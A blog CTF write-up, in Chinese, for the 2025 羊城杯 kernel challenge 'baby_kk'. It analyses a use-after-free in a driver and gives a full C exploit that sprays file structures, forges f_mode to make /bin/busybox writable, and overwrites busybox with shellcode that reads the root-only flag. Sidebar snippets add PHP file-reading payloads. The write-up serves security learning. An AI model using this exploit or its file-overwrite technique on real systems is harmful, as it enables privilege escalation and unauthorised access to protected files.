羊城杯 2025初赛 baby_kk 利用busybox

ctf中linux内核态的漏洞挖掘与利用系列(一) 该系列文章主要是从ctf比赛入手,针对linux内核上的漏洞分析、挖掘与利用做讲解,本篇文章主要介绍内核漏洞利用所需的前置知识以及准备工作。 阅读详情

baby_kk

方法一(堆喷busybox 来分配file结构体)

分析:

run.sh
#!/bin/sh
qemu-system-x86_64 \
  -m 256M \
  -cpu kvm64,+smep,+smap \
  -smp cores=2 \
  -kernel bzImage \
  -hda ./rootfs.img \
  -nographic \
  -snapshot \
  -append "console=ttyS0 root=/dev/sda rw kaslr pti=on quiet oops=panic" \
  -monitor /dev/null \
  -no-reboot \
  -s

可见开启了很多保护,经过笔者测试本题还开启了Random freelist(CONFIG_SLAB_FREELIST_RANDOM=y)

不过无伤大雅,可以利用堆喷绕过。

rcS
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf

chmod 700 /root/flag
chown -R root:root /root/flag

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

insmod /root/baby_kk.ko
chmod 666 /dev/baby_kk

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo 8 > /proc/sys/kernel/printk

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid /bin/cttyhack setuidgid 1000 /bin/sh


cd /home/ctf
su ctf -c sh

poweroff -d 0  -f

漏洞点

image-20251023162647768

这里kfree后没有对指针清空存在UAF,而且也只是清空了标记,没有对size清空,所以我们在kmalloc分配后再编辑写入0x100的大小的数据后释放掉堆,不仅可以再编辑堆还可以进行读取。

其它代码的分析如下:
LABEL_25:                                       // 命令0x1111 - 分配堆块
      if ( v40 <= 0x4FF && v39 <= 0x100 )       // 检查索引和大小是否有效
      {
        if ( byte_2518[32 * v40] )              // 检查堆块是否已分配
        {
          v6 = -16LL;
          goto LABEL_10;
        }
        v13 = _kmalloc_cache_noprof(            // 使用随机化的kmalloc缓存分配内存 GFP_KERNEL  分配0x100
                kmalloc_caches[14 * ((0x61C8864680B583EBLL * (random_kmalloc_seed ^ retaddr)) >> 60) + 8],
                0xDC0LL,
                0x100LL);
        v14 = v40;
        if ( v40 >= 0x500 )
        {
          v35 = v13;
          _ubsan_handle_out_of_bounds(&off_1DC0, v40);
          v13 = v35;
        }
        heap_list[4 * v14] = v13;
        if ( v14 >= 0x500 )                     // 越界处理
        {
          v34 = v13;
          _ubsan_handle_out_of_bounds(&off_1DA0, v14);
          v13 = v34;
        }
        if ( !v13 )                             // 分配失败检查
        {
          v6 = -12LL;
          goto LABEL_10;
        }
        if ( v14 >= 0x500 )
          _ubsan_handle_out_of_bounds(&off_1D80, v14);
        qword_2510[4 * v14] = 0LL;              // 初始化读偏移
        if ( v14 >= 0x500 )
          _ubsan_handle_out_of_bounds(&off_1D60, v14);
        qword_2508[4 * v14] = 0LL;              // 初始化写偏移/大小
        if ( v14 >= 0x500 )
          _ubsan_handle_out_of_bounds(&off_1D40, v14);
        byte_2518[32 * v14] = 1;                // 标记堆块为已分配
        goto LABEL_9;
      }
LABEL_59:
      v6 = -22LL;
      goto LABEL_10;
    }
    if ( (_DWORD)myrsi != 0x4444 )              // 命令0x4444 - 读取数据
      goto LABEL_59;
    v8 = v38;                                   // 用户缓冲区指针
    if ( !v38 )
      goto LABEL_59;
    v9 = v40;                                   // 堆块索引
    if ( v40 > 0x4FF )
      goto LABEL_59;
    v10 = heap_list[4 * v40];                   // 获取堆块指针
    if ( !v10 )
      goto LABEL_59;
    v3 = qword_2510[4 * v40];                   // 当前读偏移
    v11 = qword_2508[4 * v9];                   // 当前写偏移/数据大小
    if ( v11 < v3 )
      goto LABEL_59;
    v2 = v39;                                   // 要读取的大小
    if ( v9 >= 0x500 )                          // 边界检查
    {
      v26 = v10;
      v31 = v8;
      _ubsan_handle_out_of_bounds(&off_1B80, v9);
      _ubsan_handle_out_of_bounds(&off_1B60, v9);
      v10 = v26;
      v8 = v31;
    }
    if ( v11 - v3 < v2 )                        // 检查剩余数据是否足够
      goto LABEL_59;
    if ( v9 >= 0x500 )                          // 边界检查
    {
      v25 = v10;
      v30 = v8;
      _ubsan_handle_out_of_bounds(&off_1B40, v9);
      _ubsan_handle_out_of_bounds(&off_1B20, v9);
      _ubsan_handle_out_of_bounds(&off_1B00, v9);
      _ubsan_handle_out_of_bounds(&off_1AE0, v9);
      v10 = v25;
      v8 = v30;
    }
    v12 = v2;
    if ( v2 > 0x100 )                           // 检查读取大小是否超过256字节限制
    {
      _fortify_panic(17LL, 256LL);
      goto LABEL_25;
    }
LABEL_51:
    if ( v9 >= 0x500 )                          // 边界检查
    {
      v23 = v12;
      v27 = v10;
      v37 = v8;
      _ubsan_handle_out_of_bounds(&off_1AC0, v9);
      _ubsan_handle_out_of_bounds(&off_1AA0, v9);
      v12 = v23;
      v10 = v27;
      v8 = v37;
    }
    v28 = v8;
    memcpy(v41, (const void *)(v10 + (v3 << 8)), v12);// 从堆块拷贝数据到内核缓冲区
    _check_object_size(v41, v2, 1LL);
    if ( !copy_to_user(v28, v41, v2) )          // 将数据从内核缓冲区拷贝到用户空间
    {
      v19 = v40;
      if ( v40 >= 0x500 )
        _ubsan_handle_out_of_bounds(&off_1A80, v40);
      v6 = v39;
      v20 = qword_2510[4 * v19];                // 当前读偏移
      if ( v19 >= 0x500 )
        _ubsan_handle_out_of_bounds(&off_1A60, v19);
      qword_2510[4 * v19] = v6 + v20;           // 更新读偏移
      goto LABEL_10;
    }
LABEL_73:                                       // 命令0x3333 - 写入数据
    v6 = -14LL;
    goto LABEL_10;
  }
  v15 = v38;
  if ( !v38 )
    goto LABEL_59;
  if ( v40 > 0x4FF )
    goto LABEL_59;
  if ( !heap_list[4 * v40] )
    goto LABEL_59;
  v16 = v39;
  if ( v39 > 0x100 )
    goto LABEL_59;
  _check_object_size(v41, v39, 0LL);
  if ( copy_from_user(v41, v15, v16) )
    goto LABEL_73;
  v9 = v40;
  v17 = v39;
  if ( v40 >= 0x500 )
  {
    v33 = v39;
    _ubsan_handle_out_of_bounds(&off_1C80, v40);
    v17 = v33;
  }
  v18 = (void *)heap_list[4 * v9];
  if ( v9 >= 0x500 )
  {
    v32 = v17;
    _ubsan_handle_out_of_bounds(&off_1C60, v9);
    v17 = v32;
  }
  if ( v17 > 0x100 )
  {
    v10 = _fortify_panic(16LL, -1LL);
    goto LABEL_51;
  }
  if ( v9 >= 0x500 )
  {
    v36 = v17;
    _ubsan_handle_out_of_bounds(&off_1C40, v9);
    v17 = v36;
  }
  memcpy(v18, v41, v17);                        // 从内核缓冲区拷贝数据到堆块
  v22 = v40;
  if ( v40 >= 0x500 )
    _ubsan_handle_out_of_bounds(&off_1C20, v40);
  v6 = v39;
  qword_2508[4 * v22] = v39;
  if ( v22 >= 0x500 )
    _ubsan_handle_out_of_bounds(&off_1C00, v22);
  qword_2510[4 * v22] = 0LL;
LABEL_10:
  mutex_unlock(&lock);
  return v6;
}

利用思路

因为这是CTF题目,基本都是用busybox来充当文件系统提供应用基础环境。对于要获取flag来说就能利用busybox来进行一些操作,如果要提权还得考虑其它方法。

本题内核版本是v6.14,对应的file结构体如下:

struct file {
	file_ref_t			f_ref;
	spinlock_t			f_lock;
	fmode_t				f_mode;
	const struct file_operations	*f_op;
	struct address_space		*f_mapping;
	void				*private_data;
	struct inode			*f_inode;
	unsigned int			f_flags;
	unsigned int			f_iocb_flags;
	const struct cred		*f_cred;
	/* --- cacheline 1 boundary (64 bytes) --- */
	struct path			f_path;
	union {
		/* regular files (with FMODE_ATOMIC_POS) and directories */
		struct mutex		f_pos_lock;
		/* pipes */
		u64			f_pipe;
	};
	loff_t				f_pos;
#ifdef CONFIG_SECURITY
	void				*f_security;
#endif
	/* --- cacheline 2 boundary (128 bytes) --- */
	struct fown_struct		*f_owner;
	errseq_t			f_wb_err;
	errseq_t			f_sb_err;
#ifdef CONFIG_EPOLL
	struct hlist_head		*f_ep;
#endif
	union {
		struct callback_head	f_task_work;
		struct llist_node	f_llist;
		struct file_ra_state	f_ra;
		freeptr_t		f_freeptr;
	};
	/* --- cacheline 3 boundary (192 bytes) --- */
} __randomize_layout
  __attribute__((aligned(4)));	/* lest something weird decides that 2 is OK */

分配此结构体能从kmalloc-256中取,而题目中创建的堆也刚好是0x100大小,所以能刚好分配到file结构体.

我们 spray 一堆 /bin/busybox 的 file 结构体,让file 结构体占用kfree掉的堆。

修改该 file 结构体的 f_mode 字段,从而将 /bin/busybox 的权限改为可写,其中正常 /bin/busybox 的权限为 -rwxr-xr-x, 并不具备可写权限。

我们写 /bin/busybox 为可以 get flag 的简单 binary,然后在 cmd 里面 exit,系统会以高权限执行 /bin/busybox, 从而获取 flag

这里有一个问题,为什么我们需要写的是 /bin/busybox,这是因为我们熟悉的ls cat exit这些指令,本质为指向/bin/busybox的软链接,执行这些指令时,实际上是执行 /bin/busybox,所以我们只需要修改 /bin/busybox 的权限即可,而我们读 flag 需要提权,正常的用户进程没有这么高的权限,但是看到了/bin/busybox在执行exit时为高权限,就想到利用它完成提权。

堆喷busybox
    for (int i = 0; i < 0x100; i++)
    {
        busybox_fd[i] = open("/bin/busybox",O_RDONLY);
        if(busybox_fd[i]<0){
            err_exit("open /bin/busybox failed...");
        }
    }
    print_c("spray busybox finish....");

这里喷射大量busybox 希望有file结构体占用释放的堆。

设置写权限
    print_c("set f_mode 通过对写权限的检查");
    uint32_t tmp[0x10]={0};
    tmp[1] = 0x1;
    tmp[3] = 0xC4E801F;


    for(int i = 0;i<0x500;i++){
        edit(i,tmp,0x10);
    }

这里要设置f_ref不为空否则会报错,设置f_mode具有写权限

这里设置f_mode为0xC4E801F是因为:f_mode 要修改成的 flag为 原值 | FMODE_CAN_WRITE | FMODE_WRITE,注意要加上 FMODE_CAN_WRITE这样才有可写权限。

这些 flags 的具体取值和功能在 这里

如下:

image-20251023171125216

f_mode原值为0x0c4a901d

那么改后为 0x0c4a901d + 0x00040000 + 0x00000002 = 0xC4E901F。

写shellcode

这里可以注意一下,我们改的是该进程的 file 结构体的 f_mode,也就是在该进程尝试写入 /bin/busybox 的时候,能通过对写权限的检查,整个的 /bin/busybox 权限并不会变化

    for(int i = 0;i<0x100;i++){
        int write_size = write(busybox_fd[i],shellcode,sizeof(shellcode));
        if(write_size>0){
            printf("write %d size to busybox_fd[%d]\n",write_size,i);
            break;
        }
    }
    print_c("write busybox finish....");
    for (int i = 0; i < 0x100; i++)
    {
        close(busybox_fd[i]);
    }

完整exp:

#include "kernel_pwn.h"

#define MAX_PIPE_COUNT 0x100

size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
size_t pop_rdi = 0xffffffff81348ec2;
size_t commit_creds = 0xffffffff813c46f0;
size_t init_cred = 0xffffffff8368c1a0;
size_t swapgs_restore_regs_and_return_to_usermode_addr = 0xffffffff81001150+0x1b;

int fd;
int pipe_fd[MAX_PIPE_COUNT][2];
int already_read[MAX_PIPE_COUNT];
int busybox_fd[0x100];

struct node
{
	void *user_buf;
	size_t size;
	size_t idx;
};

struct node my_node;

int add(size_t idx,size_t size){
	my_node.size = size;
	my_node.idx = idx;
	return ioctl(fd,0x1111,&my_node);
}

int del(size_t idx){
	my_node.idx = idx;
	return ioctl(fd,0x2222,&my_node);
}

int read_data(size_t idx,void *addr,size_t size){
    my_node.user_buf = addr;
    my_node.size = size;
    my_node.idx = idx;
	return ioctl(fd,0x4444,&my_node);
}

int edit(size_t idx,void *addr,size_t size){
	my_node.user_buf = addr;
	my_node.size = size;
	my_node.idx = idx;
	return ioctl(fd,0x3333,&my_node);	
}

//堆喷pipe
void sparay_pipes(int start,int cnt){
    // char *buf[0x1000] = {0};
    printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);

    for(int i = start;i<cnt;i++){
        if(pipe(pipe_fd[i])<0){
            err_exit("creat pipe failed...");
        }
    }
}

//修改pipe_buffer大小为0x100
void pipe_buffer_resize(){
    print_c("[*] pipe buffer resize");
    for(int i =0;i<MAX_PIPE_COUNT;i++){
        if(fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*4)<0){
            err_exit("pipe set size failed.....");
        }
    }
}



void pipe_buffer_init(){
    print_c("[*] pipe buffer init");
    for(int i =0;i<MAX_PIPE_COUNT;i++){
        uint32_t k = i;
        write(pipe_fd[i][1],"saul666",8);
        write(pipe_fd[i][1],&k,sizeof(uint32_t));
    }
}

unsigned char shellcode[552] = {
    0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xE5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xB8, 0x2F, 0x72,
    0x6F, 0x6F, 0x74, 0x2F, 0x66, 0x6C, 0x50, 0x48, 0x89, 0xE7, 0x31, 0xD2, 0x31, 0xF6, 0x6A, 0x02,
    0x58, 0x0F, 0x05, 0x31, 0xC0, 0x6A, 0x03, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01,
    0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x0F, 0x05, 0x6A, 0x01, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01,
    0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x6A, 0x01, 0x58, 0x0F, 0x05, 0x00, 0x00,
    0x2E, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2E, 0x73, 0x68, 0x65, 0x6C, 0x6C,
    0x63, 0x6F, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 
};
int main(){
	bind_core(0);
	save_status();

    char buf[0x100] = {0};
    char data[0x100] = {0};

	fd = open("/dev/baby_kk",2);
	if(fd<0){
		err_exit("open fd failed...");
	}


    for(int i = 0;i<0x500;i++){
        add(i,0x100);
        edit(i,buf,0x100);
    }

    for(int i = 0;i<0x500;i++){
        del(i);
    }

    print_c("[*] alloc and free finish...");


    for (int i = 0; i < 0x100; i++)
    {
        busybox_fd[i] = open("/bin/busybox",O_RDONLY);
        if(busybox_fd[i]<0){
            err_exit("open /bin/busybox failed...");
        }
    }
    print_c("spray busybox finish....");

    print_c("set f_mode 通过对写权限的检查");
    uint32_t tmp[0x10]={0};
    tmp[0] = 0x1;
    tmp[3] = 0xC4E801F;


    for(int i = 0;i<0x500;i++){
        edit(i,tmp,0x10);
    }

    for(int i = 0;i<0x500;i++){
        read_data(i,data,0x10);
        binary_dump(data,0x10,0);
    }

    
    for(int i = 0;i<0x100;i++){
        int write_size = write(busybox_fd[i],shellcode,sizeof(shellcode));
        if(write_size>0){
            printf("write %d size to busybox_fd[%d]\n",write_size,i);
            break;
        }
    }
    print_c("write busybox finish....");
    for (int i = 0; i < 0x100; i++)
    {
        close(busybox_fd[i]);
    }

	return 0;
}

image-20251023171639743

最后执行exit拿到flag

方法二(堆喷msg_msg & pipe_buffer)

因为本题有UAF,又能读取,编辑这些,所以笔者本来想利用 堆喷msg_msg结构体来泄露堆地址,然后再堆喷pipe_buffer来泄露内核基地址,最后劫持pipe_buffer的ops中的release达到ROP的效果。

但是笔者测试了好几个小时一直卡在msg_msg泄露堆地址,不知道是姿势不对还是什么,如果有大佬知道,麻烦教教鼠鼠。

2024 电商订单明细数据集(24列,382287条记录)CSV 详情介绍:该数据集为 2024 年电商订单明细,可以关联电商用户画像数据集(16列, 98673条记录)CSV,覆盖食品生鲜 / 3C 电子 / 美妆护肤 / 家居日用 / 服装鞋帽 5 大类、15 个品牌,平均客单价 1717 元、支付宝 + 微信支付占 75%、88% 订单无促销、取消率 5%,适合做 RFM 用户分层、购物篮关联分析、销售预测和促销效果评估。 立即下载

相关推荐

Picture of ssh key

Picture of ssh key

ctf命令执行相关命令

读取文件var_dump(file_get_contents(flag.php)),若使用chr(47),则应改为var_dump(file_get_contents(chr(47).flag.php)),file_get_contens可替换为highlight_file,show_source。var_dump(scandir("/"))查看目录var_dump可用print_r,var_export替换若过滤/则可用"/"的ascll替换为var_dump(scandir(chr(47)))

2403_82516182的博客 414

政府科技管理者在推动区域科技成果转化过程中,如何系统性地识别和分析创新资源的配置瓶颈?.docx

政府科技管理者在推动区域科技成果转化过程中,如何系统性地识别和分析创新资源的配置瓶颈?

signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xc

02-02 00:44:08.240 16930-16930/? A/DEBUG: pid: 16652, tid: 16672, name: GLThread 6585 &gt;&gt;&gt; com.xxx.xxx &lt;&lt;&lt; 02-02 00:44:08.240 16930-16930/? A/DEBUG: signal 11 (SIGSEGV), code 1 (SEGV...

月十二 1万+

政府科技管理者如何提升区域科技成果转化项目的评价与筛选效率?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

高校技术转移办公室人员在成果转化过程中如何快速提升技术推介效率?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

ctf中linux内核态的漏洞挖掘与利用系列1

linux内核最初采用的是宏内核架构,其基本特性就是内核的所有操作集中于一个可执行文件中,这样的好处是模块间不需要通信可以直接调用,有效的提高了内核的运行速度,但是缺点是缺乏可扩展性。用户执行的操作其实是带有用户身份信息的进程执行的操作。命令来进行编译,当然这只是默认的编译选项,针linux内核的编译非常多的选择,有兴趣的同学可以参考Linux Insides这本书(机制中的主、客体关系,主体提供自己权限的证书,客体提供访问自己所需权限的证书,根据主客体提供的证书及操作做安全性检查,其中。

ALLEN'Blog 629

两相交错并联Boost电路仿真模型(Simulink仿真实现)

内容概要:本文档系统性地介绍了基于Simulink平台的两相交错并联Boost电路仿真模型,属于电力电子变换器建模与仿真研究的重要组成部分。该模型采用交错并联结构,有效提升了系统效率、降低了输出电流纹波,并具备优良的动态响应与系统稳定性。文档不仅聚焦于该特定拓扑的开环与闭环控制实现,还整合了丰富的配套资源,涵盖多种主流DC-DC变换器(如Buck、Boost、LLC、CLLC)、功率因数校正(PFC)电路、PWM整流器、双向充放电系统以及新能源应用场景(如V2G、微电网)等领域的仿真模型。资源体系强调软开关技术、多相交错控制、系统级建模与参数优化设计,所有内容均提供可运行的Simulink仿真文件,部分包含详细的设计报告、计算书及参考文献,具有较强的工程实践与科研复现价值。; 适合人群:电气工程、自动化、电力电子与电力传动等相关专业的硕士博士研究生、高校科研人员,以及从事新能源发电、电动汽车、电源系统设计等领域的工程技术人员。; 使用场景及目标:①支撑高校电力电子与电力系统方向的科研项目,用于新型拓扑结构的建模与先进控制算法的验证;②服务于本科生与研究生的毕业设计、课程设计及高水平学术论文的仿真复现;③为企业在电源产品研发、新能源系统集成等环节提供成熟的仿真方案参考,缩短研发周期,降低试错成本。; 阅读建议:建议使用者首先访问文档末尾提供的完整资源目录链接,按需下载对应仿真模型;在实践过程中,应重点关注模型的参数配置、控制策略实现细节与仿真工况设置,结合配套的说明文档深入理解其工作原理与设计思路,推荐在MATLAB/Simulink环境中动手调试与二次开发,以充分掌握电力电子系统的核心技术。

ctfshow-WEB-web5_ctfshow web5

ctf.show WEB模块第5关需要传递两个参数,一个字符串,一个数字,并且两个参数的md5值必须相同,我们可以利用md5的0e漏洞进行绕过0e绕过是指:0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;我们只要传入两个md5值是以0e开头的参数,即可绕过md5加密,夺取flag页面中展示了部分源码,从源码中我们可以得知,想要夺旗需要通过GET请求传递两个参数v1和v2,并且参数v1必须是纯字母字符串,参数v2必须是数字或者数字字符串,并且两个参数的md5值必须相等。

2401_84240129的博客 1107

基于单片机的电动工程机械高压管理单元控制器设计.docx

基于单片机的电动工程机械高压管理单元控制器设计.docx

IEC 101 仿真调试台是基于 Windows 桌面工具,用于 IEC 60870-5-101(简称 IEC 101 / 101 规约)串口远动通信的仿真、调试与报文分析

IEC 101 仿真调试台是基于 Windows 桌面工具,用于 IEC 60870-5-101(简称 IEC 101 / 101 规约)串口远动通信的仿真、调试与报文分析。同一个程序内既可充当主站(控制站),也可充当从站(被控站 / RTU),并内置 FT1.2 链路层原始帧的逐字段解析。 本软件是规约仿真与调试工具,不替代 SCADA/EMS 主站系统,也不作为生产环境长期运行的前置机。现场接入真实装置前,请确认串口电气接口(RS-232/RS-485)、电平转换与接线方式正确。

CTF writeup:实验吧,天下武功唯快不破

小白也来写个writeup吧~ 由于懂点python,所以就用requests库啦~先前用这个写过爬虫,但是却没研究过什么form形式发送请求啦,所以在这里看了下相关内容:http://blog.youkuaiyun.com/junli_chen/article/details/53670887 接下来我就蠢蠢地把收到的哪个header直接送到参数里面进行Post请求了!没错,我不知道那个是bas

samohyes的博客 5981

科技中介服务机构如何实现技术经纪人的能力画像与绩效评估?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

BusyBox原理简单分析

BusyBox原理简单分析刚刚接触嵌入式不久,花了半天的时间大体上看了看BusyBox,下面我对BusyBox的原理进行一个肤浅的分析(在网上我不有找到相关的内容). 1、介绍 BusyBox称作是嵌入式开发的瑞士军刀,实用,短小,稳定。 BusyBox利用Linux实用工具中代码大量重复的事实,将重复的代码重新整理,放到一个文件中,减少了多次包含。 BusyBox通过简化非必要的

frog845的专栏 833

deepseek-harness-0.2.2-rc.1-win-x64.zip

deepseek-harness-0.2.2-rc.1-win-x64.zip

大疆无人机图像传输延时优化全解析:从Lightbridge到OcuSync的实战技巧

本文深入解析大疆无人机图像传输延时优化,对比Lightbridge与OcuSync两大核心通信协议的技术差异与实战表现。文章详细拆解了从传感器采集到屏幕显示的完整延时链条,并提供了从环境频段选择、硬件升级到软件设置的全方位优化技巧,帮助飞手与开发者显著降低图传延时,提升操控体验与作业效率。

weixin_29163857的博客 306

CTF-WEB 2018 X-NUCA

1、题目名code check 上去看是一个登陆的界面,robots 源码泄露什么的都没有,发现通知页有带有参数的url: http://47.107.236.42:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09 不过跑sqlmap没用,但是有一个提醒,说看起来是base64编码,但是直接解码什么也看不出来。 好奇心随意点上一...

iamsongyu的博客 1317

从药企研发视角:如何用GNN提升分子水溶性预测准确率?PyTorch+ESOL全案例

本文从药企研发的实际需求出发,详细介绍了如何利用图神经网络(GNN)技术,结合PyTorch框架和ESOL数据集,构建并优化分子水溶性预测模型。通过完整的代码案例,深入探讨了分子图数据处理、GNN架构设计、超参数调优以及模型评估与解释等关键环节,旨在帮助研发团队提升预测准确率,从而更高效地筛选和优化候选药物分子。

weixin_29054399的博客 292

busybox的使用

之前有总结关于安卓调试命令的东西今天来看个大杀器—busyboxBusyBox 包含了一些简单的工具,例如 cat 和 echo,还包含了一些更大、更复杂的工具,例如 grep、find、mount 以及 telnet。简单的说BusyBox就好像是个大工具箱,它集成压缩了 Linux 的许多工具和命令。(摘自百度百科)一般用在Android上,解决adbshell命令不全在Android安装Bus

Tesi1a的充电桩 5882

微机原理课程设计-模拟十字路口交通信号灯

一、设计任务描述 1.1设计目的 通过课程设计使学生更进一步掌握微机原理及应用课程的有关知识,提高应用微机解决问题的能力,加深对微机应用的理解。通过查阅资料,结合所学知识进行软、硬件的设计,使学生初步掌握应用微机解决问题的步骤及方法。为以后学生结合专业从事微机应用设计奠定基础。 1.2 设计要求 控制LED灯,按照十字路口红绿灯的原理亮灭显示: (1) 东西方向车辆放行x秒...

Learning_is_endless的博客 2万+

使用 ONLYOFFICE API 构建 Java 转换器,在 Word 和 PDF 之间进行转换

随着文档处理需求的增加,格式转换成为了一个重要的需求点。由于PDF格式具有跨平台、不易被篡改的特性,将Word格式(.docx)转换为PDF格式(.pdf)的需求尤为强烈。ONLYOFFICE作为一个强大的办公套件,提供了这样的转换功能,使得用户可以轻松地在Word和PDF之间进行转换。

ONLYOFFICE的官方博客 4569

CTF mips总结

前言 感觉自己就是把几个mips的题给汇总了一下,算不上是总结吧。不过还是很有收获的。 题目一 DDCTF-babymips 拿到题目,分析是mips小端序,利用qemu模拟运行,注意要使用小端序(qemu也区分了大端小端)。然后输入了16个字符,结果出现段错误。23333 然后我就放弃了。 https://www.codetd.com/article/67983 https:/

BadRer的博客 4284

基于Simulink的防空导弹六自由度弹道建模与仿真实战

本文详细介绍了基于Simulink的防空导弹六自由度弹道建模与仿真方法。通过分析导弹动力学原理、Simulink环境配置、气动力建模、推进与控制系统设计等关键环节,提供了一套完整的实战指南。文章特别强调了六自由度模型在防空导弹仿真中的重要性,并分享了常见问题排查与优化建议,为相关领域工程师提供实用参考。

apple5的专栏 868
上一篇: 2025网古杯pwn 部分wp
下一篇: N1CTF 2025 pwn Ktou
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

